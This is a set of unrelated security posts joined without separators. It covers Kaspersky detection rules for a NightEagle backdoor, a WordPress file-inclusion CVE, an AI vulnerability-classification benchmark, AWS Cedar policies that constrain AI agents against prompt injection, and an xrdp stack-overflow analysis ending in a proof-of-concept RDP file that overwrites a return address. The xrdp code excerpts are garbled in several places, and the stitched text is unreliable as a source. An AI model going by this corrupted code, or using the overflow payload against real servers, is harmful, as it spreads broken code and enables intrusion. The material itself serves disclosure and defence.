Kaspersky solutions reliably identify the malicious activity described above at various stages of the attack. We showed examples above of how Kaspersky Threat Analysis detects samples of the GhostContainer backdoor and the tunneling utility. This toolkit also includes the analytical solution Kaspersky Threat Attribution Engine (KTAE), which helps SOC analysts and incident responders determine which APT groups malware can be attributed to. The solution uses a proprietary comparison method that measures the similarity between analyzed samples of suspicious files and known malicious samples in Kaspersky’s collection.

The backdoor we discovered showed similarity to previously analyzed GhostContainer samples and a connection to the NightEagle APT group:

Backdoor analysis with KTAE

However, detection scenarios for this kind of attacks are not limited to file analysis. Deploying a backdoor on a target host produces numerous characteristic artifacts, which allow Kaspersky Endpoint Detection and Response Expert to alert users to anomalies in the infrastructure in a timely manner.

This malicious activity is detected by the following rules, available in the repository:

• Initial detection of the malicious signature occurs through the generic_ransomware_related_detection rule, based on EPP module events
• Detection of a malicious DLL’s .NET assembly being loaded via PowerShell: suspicious_assembly_loading_into_powershell_via_reflection
• Activity of tunneling and traffic redirection tools: detection_of_access_to_tunnel_domains_dns
• Use of tools from the Impacket toolkit, such as atexec:
  • impacket_possible_activity
  • attempt_to_download_hacktool_or_risktool_by_non_browser
  • credentials_dumping_tools_file_artifacts_creation
• Attempts to replicate an Active Directory database object to impersonate a domain controller: potential_dcsync_via_startupparameters

Process tree in KEDR Expert

Kaspersky Anti Targeted Attack (KATA) detects this malicious activity in network traffic. For example, the Exploit.CVE-2019-0708.TCP.C&C signature allows detecting attempts to exploit the CVE-2019-0708 (BlueKeep) vulnerability.

Alert card for the BlueKeep vulnerability exploitation

Beyond this activity, KATA also detects other NightEagle actions in network traffic, such as the following:

• Traffic redirection and tunneling variations
• Attacks on Active Directory (DCSync, attempts to compromise AD CS, and others)
• Lateral movement across the network

Indicators of compromise

A critical vulnerability has been discovered in the popular WordPress content management system that allows attackers to execute arbitrary code on the web server. The vulnerability has been assigned the number CVE-2026-87902. The good news is that on September 22, WordPress released an update that patches it. The bad news is that the first attempts to exploit CVE-2026-87902 were detected just a few hours after the patch was released. Therefore, all companies whose corporate websites or blogs run on this platform are advised to update immediately.

WordPress versions affected by CVE-2026-87902

According to data published by WordPress on GitHub, all versions of the CMS from 4.7.0 through 7.1.1 are vulnerable. The company has released updates for all supported branches of the system; a complete table listing the patched version numbers can be found on the company’s GitHub page. The latest version of WordPress should be updated to version 7.1.2 (or newer).

What’s the nature of the CVE-2026-87902 vulnerability, and why is it so dangerous?

Under normal circumstances, WordPress loads PHP template files only from a specific folder within the active theme. However, due to the CVE-2026-87902 vulnerability, an attacker can craft a request to WordPress in such a way that an arbitrary PHP file is included — without requiring any authorization. Yes, the file must already be uploaded to the targeted server in some way, but that’s not really a problem for an attacker.

It sounds like a path traversal vulnerability, but in most publications, CVE-2026-87902 is classified as an RCE (Remote Code Execution) vulnerability because, under certain WordPress and PHP server configurations, the attack can lead to the execution of arbitrary code.

How to stay safe

The only way to secure a corporate WordPress site is to install the latest version. The researcher who discovered the vulnerability also offers several tips for hardening CMS security, but emphasizes that these are meant to complement the patch, not replace it.

The Hacker News lists several PHP filenames and IP addresses used in the attack via CVE-2026-87902. These can serve as indicators that a WordPress instance has been compromised.

Given that only a few hours pass between the publication of information about a vulnerability’s existence and the start of attacks exploiting it, it’s crucial for companies to have a properly configured, centralized vulnerability management system. To achieve this, they should have a specialized solution capable of identifying and resolving vulnerabilities, prioritizing them based on actual risks, and automating remediation processes. Our vulnerability management module for Kaspersky Next Optimum can help with this task.

Security teams are starting to actively use AI for security work, including vulnerability triage, penetration testing, threat modeling, incident response, and code review. The promise is speed, but a security tool that moves fast and raises too many false alarms doesn’t save time. Engineers spend time on false alarms, on-call is noisier, and teams distrust findings that matter.

Today, we’re releasing Deception Benchmark, the first benchmark designed to measure that trust problem directly. It tests whether a model can distinguish real vulnerabilities from code that looks risky but is actually safe. The benchmark includes 14,822 samples across 16 languages and more than 70 Common Weakness Enumeration (CWE) categories. We evaluated 12 models from five providers and are releasing the dataset and whitepaper to the community. Existing benchmarks measure whether AI can find or exploit vulnerabilities. This is the first to measure whether it can tell real vulnerabilities from false alarms. Under standard prompting, precision at distinguishing real vulnerabilities from false alarms landed in the mid 50s; as likely to be inaccurate as accurate.

In offensive tasks, there’s often a clear result: the exploit works or it doesn’t. Defensive reviews are harder to verify than offensive tasks; a model might recognize a suspicious pattern even when a mitigation makes the issue non-exploitable. In practice, useful systems need to reason about the code, the mitigation, and sometimes the surrounding environment.

The community has made progress on security evaluations. CyberGym tests agents on more than 1,500 realistic tasks. Meta’s CyberSecEval and CyberSecEval 2 measure exploit generation. CYBENCH evaluates capture the flag (CTF) challenges. SEC-Bench and VulnBench push toward authentic security workflows.

Recent work reinforces both the progress and the gap. ExploitGym measures whether AI can escalate from a crash to a working exploit. Microsoft’s Project Perception deploys multi-agent red/blue/green teams for continuous defense. OpenAI’s GPT-Red shows that self-play red-teaming finds novel attacks that frontier models can’t defend against. Since then, OpenAI disclosed that its GPT-6 Astra model crossed the Critical cybersecurity capability threshold, and both OpenAI and Anthropic reported incidents where models gained unauthorized access to production systems during evaluations. The offensive side is moving fast. But none of this work measures the defensive precision question: when an AI system flags code as vulnerable, how often is it right?

14,822 samples, 16 languages, and more than 70 CWE categories. We call it Deception Benchmark because the safe samples are designed to deceive models. It has real vulnerability patterns, real frameworks, real idioms, with mitigations that quietly close the exploit path. The goal is to classify code as vulnerable or safe, with no hints.

Consider a Flask endpoint that accepts user input and queries a database. A model will pattern-match to SQL injection, but the query uses parameterized statements, so the exploit path is closed. A single-turn classifier flags the pattern and moves on, never checking whether the exploit can actually work. Production tools rely on multi-step loops and agentic workflows to compensate, but that scaffolding masks whether the model itself understands the code. This benchmark strips the scaffolding away and asks the model to make the call in a single pass, so what it measures is understanding, not how many tries a harness takes to get there.

We built every sample through an adversarial loop: generate, test against frontier models, harden, repeat. If a model gets it right easily, the sample doesn’t survive. The result is a benchmark calibrated to the frontier, not below it. Building it this way is expensive. Generation and hardening of the samples consumed tens of billions of tokens. We’re releasing the result so the community doesn’t have to repeat that cost.

This benchmark generates two challenge types. Code-level challenges (6,988 samples) present vulnerable and safe variants that differ by a subtle fix. Both look suspicious, only one is exploitable. Environment-gated challenges (2,707 samples) go further: same code, different deployment context. A Kubernetes Network Policy blocks the server-side request forgery (SSRF) path. An identity and access management boundary prevents privilege escalation. The pattern is visible in the source. The infrastructure makes it unexploitable. The model has to figure out which scenario applies.

All samples were purpose-built for this benchmark, grounded in real-world patterns, real frameworks, real CWEs, and real infrastructure; without IP concerns or training data contamination.

Generating reliable labels at this scale is difficult: a single pass—by people or by models—leaves errors that skew scores. So we treat labeling as a convergent audit loop rather than a one-time step. Every label is re-examined by multiple independent reviewers, blind to one another and to the original reasoning that produced the label. Disagreements escalate to direct adjudication, where the original reasoning is evaluated against the challenge. Unresolved cases go to human review. We repeat the loop until the scored set converges below a dispute threshold: under 3 percent of samples still contested by independent review, with a target of under 1 percent surviving human adjudication. One choice makes this defensible: we never relabel a disputed sample. When reviewers disagree, the sample moves to the unscored pool instead of being given a corrected label, so a bad challenge can remove a sample but can never introduce a wrong label into the scored set.

A human review of 100 randomly drawn scored samples found no label errors. We describe the full process in the whitepaper.

The benchmark is roughly balanced: half vulnerable, half safe, so a random classifier scores 50 percent. We report two error rates separately, because they fail in opposite directions. The false positive rate (FPR) is how often the model flags safe code as vulnerable. These are the false alarms that waste an engineer’s time. The false negative rate (FNR) is how often it misses a real vulnerability and calls it safe. Accuracy alone hides this: a model that labels everything vulnerable catches every bug (0 percent FNR) but flags all safe code (100 percent FPR) and still scores about 50 percent. We consider FPR below 10 percent and FNR below 10 percent the minimum bar for production use.

Figure 1: FPR compared to FNR for 12 models across two prompting strategies. No model reaches the generous bar.

Among the general-purpose frontier models tested, no configuration achieves both FPR and FNR less than 10 percent on this benchmark.

Every model has the same failure mode. With direct prompting, they catch up to 95 percent of real vulnerabilities but also flag 41–99 percent of safe code. Precision runs from 52 percent to 71 percent, clustered in the mid-50s; effectively as likely to be inaccurate as accurate. The models see a vulnerability pattern and stop reasoning. Proof-of-exploit prompting cuts false positives by 17–74 points but misses 7–44 percent of real vulnerabilities. The environment-gated challenges are worse: models flag the code and ignore the Kubernetes Network Policy next to it. No tested configuration keeps both false positives and false negatives below 10 percent.

These results reflect general-purpose models in single-turn prompting. Purpose-built systems with multi-step validation and tool use are a different operating point that we didn’t measure, and if a harness can close the gap between pattern recognition and genuine understanding, this benchmark is the place to demonstrate it. Two cautions before assuming it already does. Agentic verification is proven mostly on offensive tasks, where success can be confirmed: the exploit fires or it doesn’t. Judging that code is safe has no such oracle. Extra iterations re-sample the same judgment rather than confirm a negative, and a harness still inherits the base model’s understanding. If the model can’t separate an effective mitigation from an ineffective one in a single pass, more passes won’t add the missing knowledge. That’s what this benchmark measures: the model’s intrinsic ability to understand code, tested at the single-turn baseline where no scaffolding can mask the gap.

For security teams evaluating AI tools today: ask your vendors how their system performs on tasks like this, not just whether it finds vulnerabilities, but how often it’s wrong. Pair any AI-assisted review with human verification on high-risk code paths, and use Deception Benchmark to hold your tools accountable.

We built Deception Benchmark to simplify measuring this problem in a reproducible way. The public release includes the samples and evaluation workflow. We don’t release the labels, so submissions can be scored consistently over time without turning the benchmark into a memorization exercise.

Of the 14,822 samples, 9,695 are scored; the remaining 5,127 are held out and unscored, mixed in with the rest of the benchmark. The goal is straightforward: make it more difficult to optimize the benchmark compared to improving the underlying system. We describe that design in more detail in the whitepaper.

Deception Benchmark is available on GitHub, along with the whitepaper and submission instructions for verified scoring. If you’re building security tooling, you can download the dataset, run your system against the benchmark, and submit predictions for scored evaluation.

If you have feedback about this post, submit comments in the Comments section below.

Unit 42 discovered a Vertex AI Python SDK vulnerability that allows remote code execution via bucket squatting. Read the article for more.

The post Pickle in the Middle – Hijacking Vertex AI Model Uploads for Cross-Tenant RCE appeared first on Unit 42.

Agents have agency: they adapt and find multiple ways to solve problems. This autonomy creates a fundamental security challenge: the large language model (LLM) at the heart of the agent is non-deterministic, and its decisions can’t be predicted or guaranteed in advance. It can hallucinate harmful actions with complete confidence. It’s vulnerable to prompt injection attacks, where adversaries inject malicious commands through tool responses or user inputs. LLMs don’t robustly differentiate between commands and data, everything is only tokens. For these reasons, if you want defense in depth, you must treat the LLM as an untrusted actor from a security point of view.

The insight is that the LLM can’t affect the external world directly: it has to go through an orchestrator that invokes tools based on the LLM’s output. This is precisely where the controls must be applied. What you need at this boundary is authorization: a decision about whether each tool invocation should be allowed and under what conditions. Consider a customer service agent for an online retailer. Without proper controls, it could process refunds that exceed authorized limits, apply discounts to product categories that should be excluded, or look up one customer’s data while handling another customer’s session.

If you control agents’ access to tools, you can establish a safety envelope within which the agent can operate freely. This differs from two common but unsatisfactory approaches:

• Creating hard-coded workflows eliminates uncertainty, but by itself defeats the purpose of using an LLM as the brain of the agent, because you’ve built a traditional application with an LLM interface. And even with this restriction, using LLM outputs at any step can open up the same risks. While it’s a useful technique for well-understood workflows, it’s not sufficient for agents that need to adapt.
• Human-in-the-loop provides a safety net for critical operations, and it will always have a role. But relying on it as the main control mechanism sacrifices autonomy and can lead to approval fatigue.

You need agents that are safe and autonomous. This requires an auditable, deterministic enforcement layer that sits outside the agent and tools. Why outside? Because the LLM’s plan is the thing you can’t trust—it can’t be responsible for enforcing its own constraints. Controls at the LLM layer—such as system prompts and training-time alignment—can be bypassed by prompt injection or hallucination. Hard-coded checks in agent or tool code are more robust, but become difficult to audit and manage at scale, especially when security logic is scattered across many tools and services. Centralizing authorization outside both gives you a single checkpoint the LLM can’t circumvent; one that’s auditable and can be verified independently of the application code.

This is where AgentCore Policies come in. Amazon Bedrock AgentCore Gateway sits between the agent and the remote tools it calls. When you associate a Policy with a Gateway, it blocks everything by default. Policies selectively open this boundary by specifying which tool invocations are allowed and under what conditions. This enforcement applies to all tool traffic routed through the Gateway. For this approach to scale, it must be more straightforward to reason about the policies than about the agent’s behavior.

AgentCore policies are expressed in Cedar. Cedar is an open source authorization policy language developed by AWS that has recently joined the Cloud Native Computing Foundation (CNCF). Cedar was designed with exactly these properties: it’s purpose-built for authorization, readable by humans, and analyzable by machines using automated reasoning. This gives enterprises the ability to scale policy definition and enforcement to their AI agents.

Amazon Bedrock AgentCore provides the infrastructure to deploy and manage agents at scale. It includes AgentCore Runtime for hosting agents, AgentCore Gateway for managing how agents connect to tools using Model Context Protocol (MCP), and Policy in AgentCore. Policy intercepts all agent traffic through AgentCore gateways and evaluates each request against defined policies in the policy engine before allowing tool access. Cedar powers the policy layer.

AgentCore Policy uses Cedar and its mathematical analysis capabilities at several points in the AgentCore Gateway workflow: the Cedar authorization engine is used at policy evaluation and Cedar Analysis is used during policy authoring, and in the control plane.

Policy authoring: Developers can write Cedar policies directly or use natural language that gets translated to Cedar through a neuro-symbolic AI feedback loop. Neuro-symbolic AI combines machine learning’s flexibility with automated reasoning’s provable correctness. An LLM generates policies from natural language, while Cedar Analysis validates them using symbolic, mathematical reasoning. The following diagram illustrates this workflow:

Figure 1: Cedar policy generation workflow

An administrator specifies—in natural language—which MCP tools the agent can call and under what conditions. The neuro-symbolic feedback loop then formalizes this description into Cedar policies. Here’s how it works: first, the LLM translates the natural language into Cedar policies. These policies are then run through two stages of verification. In the first stage, AgentCore Policy uses a Cedar schema generator that takes the MCP tool descriptions and produces a Cedar schema. Cedar validates the policies against this schema, helping to ensure that they reference valid tools and parameters and ruling out whole classes of runtime errors. If validation passes, the second stage runs Cedar Analysis, which encodes each policy as a mathematical formula and detects issues like policies that grant or deny everything, or that contain impossible conditions. These mathematical proofs identify errors in the process of translating from the natural language description to Cedar policies, and guide corrections.

The neuro-symbolic feedback loop significantly improves the accuracy of the generated policies. This demonstrates the power of combining neural and symbolic approaches—the LLM provides creative translation from natural language, while automated reasoning provides rigorous validation.

Control plane: When attaching policies to an AgentCore Gateway, Cedar Analysis performs holistic analysis of the entire policy set. Instead of analyzing policies in isolation, it examines how they interact and their combined effect. This analysis identifies potential logical errors—such as conflicting or redundant policies—and detects whether the policy set produces unintended authorization outcomes. When Cedar Analysis detects these errors, the operation fails and returns a description of the issue, so the policy author can fix and retry. See the Formal analysis for policy verification section for examples of the checks.

MCP tool invocation enforcement: Each agent tool request made to the AgentCore gateway is evaluated against Cedar policies which determine whether the MCP tool invocation with the given arguments should be allowed. This creates the safety envelope while allowing the necessary bridges to enable the agent to perform its job.

MCP tool filtering: Cedar enables an additional layer of protection that operates before any tool invocation occurs. When an agent issues a list tools command, AgentCore Gateway uses Cedar’s partial evaluation capability to determine which actions would always be denied under the current policy set. Those actions are omitted from the list tool response. The agent and the underlying LLM never see those tool actions, eliminating an entire class of risk: the agent and LLM can’t attempt to invoke a tool it doesn’t know exists. This is a direct benefit of Cedar’s partial evaluation: the system can determine that certain tool actions are unreachable without needing to wait for an actual tool invocation attempt.

Natural language is too ambiguous for security-critical infrastructure, and general-purpose programming languages, like Python, are very expressive but too difficult to analyze. They can have unintended side effects, termination issues, and can be difficult to understand.

Cedar avoids these issues by excluding loops and stateful operations, so policy evaluation terminates in O(n) time in common cases. This bounded execution time means agents can make authorization decisions without disrupting user experience or workflow efficiency.

Cedar is straightforward to read. Regulatory compliance and security audits require policies that humans can understand and verify. Cedar policies read like structured natural language, making them accessible to security teams, compliance officers, and business stakeholders:

// Only allow bulk discounts for premium customers with sufficient quantity
permit (
  principal is AgentCore::OAuthUser,
  action == AgentCore::Action::"ApplyBulkDiscount",
  resource
)
when
{
  principal.hasTag("customer_tier") &&
  principal.getTag("customer_tier") == "Platinum" &&
  context.input.orderQuantity >= 50
}
unless
{
  context.input
    .productTypes
    .containsAny
    (
      ["limited_edition", "seasonal_specials"]
    )
};

Auditors without a technical background can understand this policy: “Allow bulk discounts for platinum customers who order at least 50 items, except for limited edition or seasonal special products.” The unless clause makes the exception clear, which is how business rules are typically expressed in natural language. Notice that this single policy constrains two different sources of data. The customer tier comes from a JSON Web Token (JWT) claim—it can’t be hallucinated or manipulated by the LLM. The tool inputs like order quantity and product types, however, originate from the LLM’s tool call. Cedar policies constrain these inputs to only allowed values, ensuring that even if the LLM produces unexpected arguments, the policy enforcement layer rejects them deterministically.

Cedar is the right choice because it’s fast, straightforward to read, and analyzable through automated reasoning. This analyzability is why you can reason about the safety envelope around agents that’s expressed as Cedar policies. As agentic systems grow the number of tools grows. Without proper tooling, policy management becomes intractable; policies can conflict, create security gaps, or produce unintended authorization outcomes.

In the rest of this section, we examine how Cedar’s analyzability directly addresses this challenge through its deterministic, mathematically sound analysis. Because Cedar analysis can reliably detect conflicts and logical errors across large policy sets it enables scalable policy management through neuro-symbolic AI.

Cedar policies can be encoded as mathematical formulas and analyzed using automated reasoning techniques through a symbolic encoder. This enables AgentCore Policy to provide sophisticated policy verification capabilities during policy authoring and beyond. AgentCore Policy uses this analysis when authoring or attaching policies to detect possible logical errors, such as conflicting or redundant policies. Policy analysis, including policy comparison is available as an open source CLI tool. Next, we will take a look at some concrete examples of these checks.

Detecting logical errors in policies: Cedar Analysis can detect when policies contain logical errors. For example, the following policy has contradictory constraints that mean it can’t allow any request: the customer tier can’t be both gold and platinum at the same time. The intention was to use an || instead of &&, a mistake that can be made by both humans and AI systems that author policies.

// This policy cannot allow any requests due to logical errors
permit (
  principal is AgentCore::OAuthUser,
  action == AgentCore::Action::"ProcessRefund",
  resource
)
when
{
  principal.hasTag("customer_tier") &&
  principal.getTag("customer_tier") == "Gold" &&
  principal.getTag("customer_tier") == "Platinum"
}
unless { context.input.refundAmount > 1000 };

Similarly, Cedar Analysis can detect policies that always allow a given action, usually an indication of an overly permissive policy. For example, the following policy will allow all ApplyBulkDiscount requests because any order quantity will either be greater than or equal to 100 or less than 100.

// This policy allows all ApplyBulkDiscount requests
permit (
  principal is AgentCore::OAuthUser,
  action == AgentCore::Action::"ApplyBulkDiscount",
  resource
)
when
{
  context.input.orderQuantity >= 100 ||
  context.input.orderQuantity < 100 ||
  (principal.hasTag("customer_tier") &&
   principal.getTag("customer_tier") == "Platinum")
};

Detecting such logical errors isn’t easy for humans, and can’t be done by pattern matching: you need the formal rigor of mathematical analysis, which is exactly what Cedar Analysis does.

Detecting policy conflicts: Cedar Analysis can also analyze the entire policy set to detect inconsistencies between different individual policies:

// These policies conflict - Analysis will detect the subtle issue
permit (
  principal is AgentCore::OAuthUser,
  action == AgentCore::Action::"ProcessRefund",
  resource
)
when
{
  principal.hasTag("customer_tier") &&
  principal.getTag("customer_tier") == "Gold" &&
  context.input.refundAmount < 100
};

forbid (
  principal is AgentCore::OAuthUser,
  action == AgentCore::Action::"ProcessRefund",
  resource
)
when
{
  principal.hasTag("customer_tier") &&
  ["Gold", "Platinum"].contains(principal.getTag("customer_tier")) &&
  context.input.refundAmount < 500
};

The permit policy allows gold customers to process refunds less than $100, while the forbid policy blocks gold customers (and platinum customers) from processing refunds less than $500. Because forbid overrides permit in Cedar, the forbid policy would block all gold customer refunds despite the permit policy.

Comparing policy changes: When updating policies, Cedar Analysis can also determine the exact impact of a change. Consider the following update to the unless clause (the policy lines with + have been added and those with - have been removed): we now block ApplyBulkDiscount only when the product type is limited_edition and the quantity exceeds 200.

 permit (
   principal is AgentCore::OAuthUser,
   action == AgentCore::Action::"ProcessRefund",
   resource
 )
 when
 {
   context.input.refundAmount < 500
 };
 
 permit (
   principal is AgentCore::OAuthUser,
   action == AgentCore::Action::"ApplyBulkDiscount",
   resource
 )
 when
 {
   context.input.orderQuantity >= 50
 }
 unless
 {
-  context.input.productTypes.containsAny(["limited_edition"])
+  context.input.productTypes.containsAny(["limited_edition"]) &&
+  context.input.orderQuantity > 200
 };

At first glance, adding a condition to the unless clause might seem more restrictive. In fact, it’s the opposite: narrowing when the unless applies means the permit now covers more requests. For example, an order of 73 units of a limited_edition product would have been blocked before but is now allowed. Cedar Analysis can automatically detect this and generates the following table showing the difference in permissiveness between the original policy set and the updated one:

In the preceding example, the analysis tells us that the updated policy allows allows exactly the same ProcessRefund requests, but allows more ApplyBulkDiscount requests.

This formal verification capability is essential when agents operate autonomously and can affect the real world. Organizations need mathematical certainty that their policies will behave as intended.

Unlike probabilistic AI models, enterprise security requires deterministic guarantees. Cedar policies always produce the same authorization decision for identical requests, regardless of evaluation order or system state. Cedar’s default deny, forbid wins, no ordering semantics help ensure predictable behavior.

// Policy evaluation order does not affect the authorization decision
permit(
    principal,
    action == AgentCore::Action::"ProcessRefund",
    resource
) when {
    context.input.refundAmount < 500
};

forbid(
    principal,
    action == AgentCore::Action::"ProcessRefund", 
    resource
) when {
    context.input.orderDate.offset(duration("90d")) < context.system.now
};

Whether the permit or forbid policy is evaluated first, a refund request over $500 will always be denied, and any refund issued more than 90 days after the order date will also be denied. This predictability gives enterprises confidence in their agent governance.

By choosing AgentCore Policy and Cedar, organizations can deploy autonomous agents with policies they can reason about mathematically, not only hope the agents work correctly. Cedar’s combination of expressiveness, readability, and formal verification means that you can design agents with the flexibility needed to function and the certainty security teams demand.

Automated reasoning has already proven its value across AWS, from AWS IAM Access Analyzer verifying access policies to provable security for network configurations. Applying these same techniques to agentic AI is a natural extension: as agents take on more responsibility, the need for mathematically grounded guarantees only grows. The neuro-symbolic approach we’ve described in this post—combining LLM flexibility with the rigor of automated reasoning—points toward a future where agents can be both more autonomous and more trustworthy, because the verification keeps pace with the autonomy.

Policy is now available as part of Amazon Bedrock AgentCore Gateway. To learn more about Cedar and its capabilities, visit the Cedar website, try the Cedar playground, or join the Cedar community on Slack.

For more information about Policy in Amazon Bedrock AgentCore Gateway, visit the AWS documentation or explore the AgentCore Gateway console.

If you have feedback about this post, submit comments in the Comments section below.

In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.

We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.

Client data transmission via RDP

Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:

{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}

The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:

#define INFO_CLIENT_MAX_CB_LEN 512

When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.

if (ts_info_utf16_in( // [1]
            s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) // [2]
{
[..SNIP..]
}

The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].

static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
   int rv = 0;
   LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
   if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
   {
       rv = 1;
   }
   else
   {
       int term;
       int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
                                                 dst, dst_len); 
       if (num_chars > dst_len) // [3]
       {
           LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
       }
       / / String should be null-terminated. We haven't read the terminator yet
       in_uint16_le(s, term);
       if (term != 0)
       {
           LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
           rv = 1;
       }
   }
   return rv;
}

Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].

{
   unsigned int rv = 0;
   char32_t c32;
   char u8str[MAXLEN_UTF8_CHAR];
   unsigned int u8len;
   char *saved_s_end = s->end;

   // Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
   parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
   // Temporarily set the stream end pointer to allow us to use
   // s_check_rem() when reading in UTF-16 words
   if (s->end - s->p > (int)(n * 2))
   {
       s->end = s->p + (int)(n * 2);
   }

   while (s_check_rem(s, 2))
   {
       c32 = get_c32_from_stream(s);
       u8len = utf_char32_to_utf8(c32, u8str);
       if (u8len + 1 <= vn) // [4]
       {
           /* Room for this character and a terminator. Add the character */
           unsigned int i;
           for (i = 0 ; i < u8len ; ++i)
           {
               v[i] = u8str[i];
           }

           v n -= u8len;
           v += u8len;
       }

       else if (vn > 1)
       {
           /* We've skipped a character, but there's more than one byte
           * remaining in the output buffer. Mark the output buffer as
           * full so we don't get a smaller character being squeezed into
           * the remaining space */
           vn = 1;
       }

       r v += u8len;
   }
   // Restore stream to full length s->end = saved_s_end;
   if (vn > 0)
   {
       *v = '\0'; // [5]
   }
   + +rv;
   return rv;
}

Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.

CVE-2025-68670: an RCE vulnerability in xrdp

The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.

x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
     int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)

The code snippet where the vulnerable function is called looks like this:

char resultIP[256]; // [7]
[..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
    self->session->client_info->domain, // [6]
    combo->data_list->count, 1,
    resultIP /* just a dummy place holder, we ignore
*/ );

As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.

static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
                                                              int decode, char *resultBuffer)
{
    int ret;
    int pos;
    int comboxindex;
    char index[2];

    /* If the first char in the domain name is '_' we use the domain name as IP*/
    ret = 0; /* default return value */
    /* resultBuffer assumed to be 256 chars */
    g_memset(resultBuffer, 0, 256);
    if (originalDomainInfo[0] == '_') // [8]
    {
        /* we try to locate a number indicating what combobox index the user
         * prefer the information is loaded from domain field, from the client
         * We must use valid chars in the domain name.
         * Underscore is a valid name in the domain.
         * Invalid chars are ignored in microsoft client therefore we use '_'
         * again. this sec '__' contains the split for index.*/
        pos = g_pos(&originalDomainInfo[1], "__"); // [9]
        if (pos > 0)
        {
            /* an index is found we try to use it */
            LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
            if (decode)
            {
                [..SNIP..]
            }
            / * pos limit the String to only contain the IP */
            g_strncpy(resultBuffer, &originalDomainInfo[1], pos); // [10]
        }
        else
        {
            LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
            g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
        }
    }
    return ret;
}

As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).

To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.

PoC

As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:

alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser

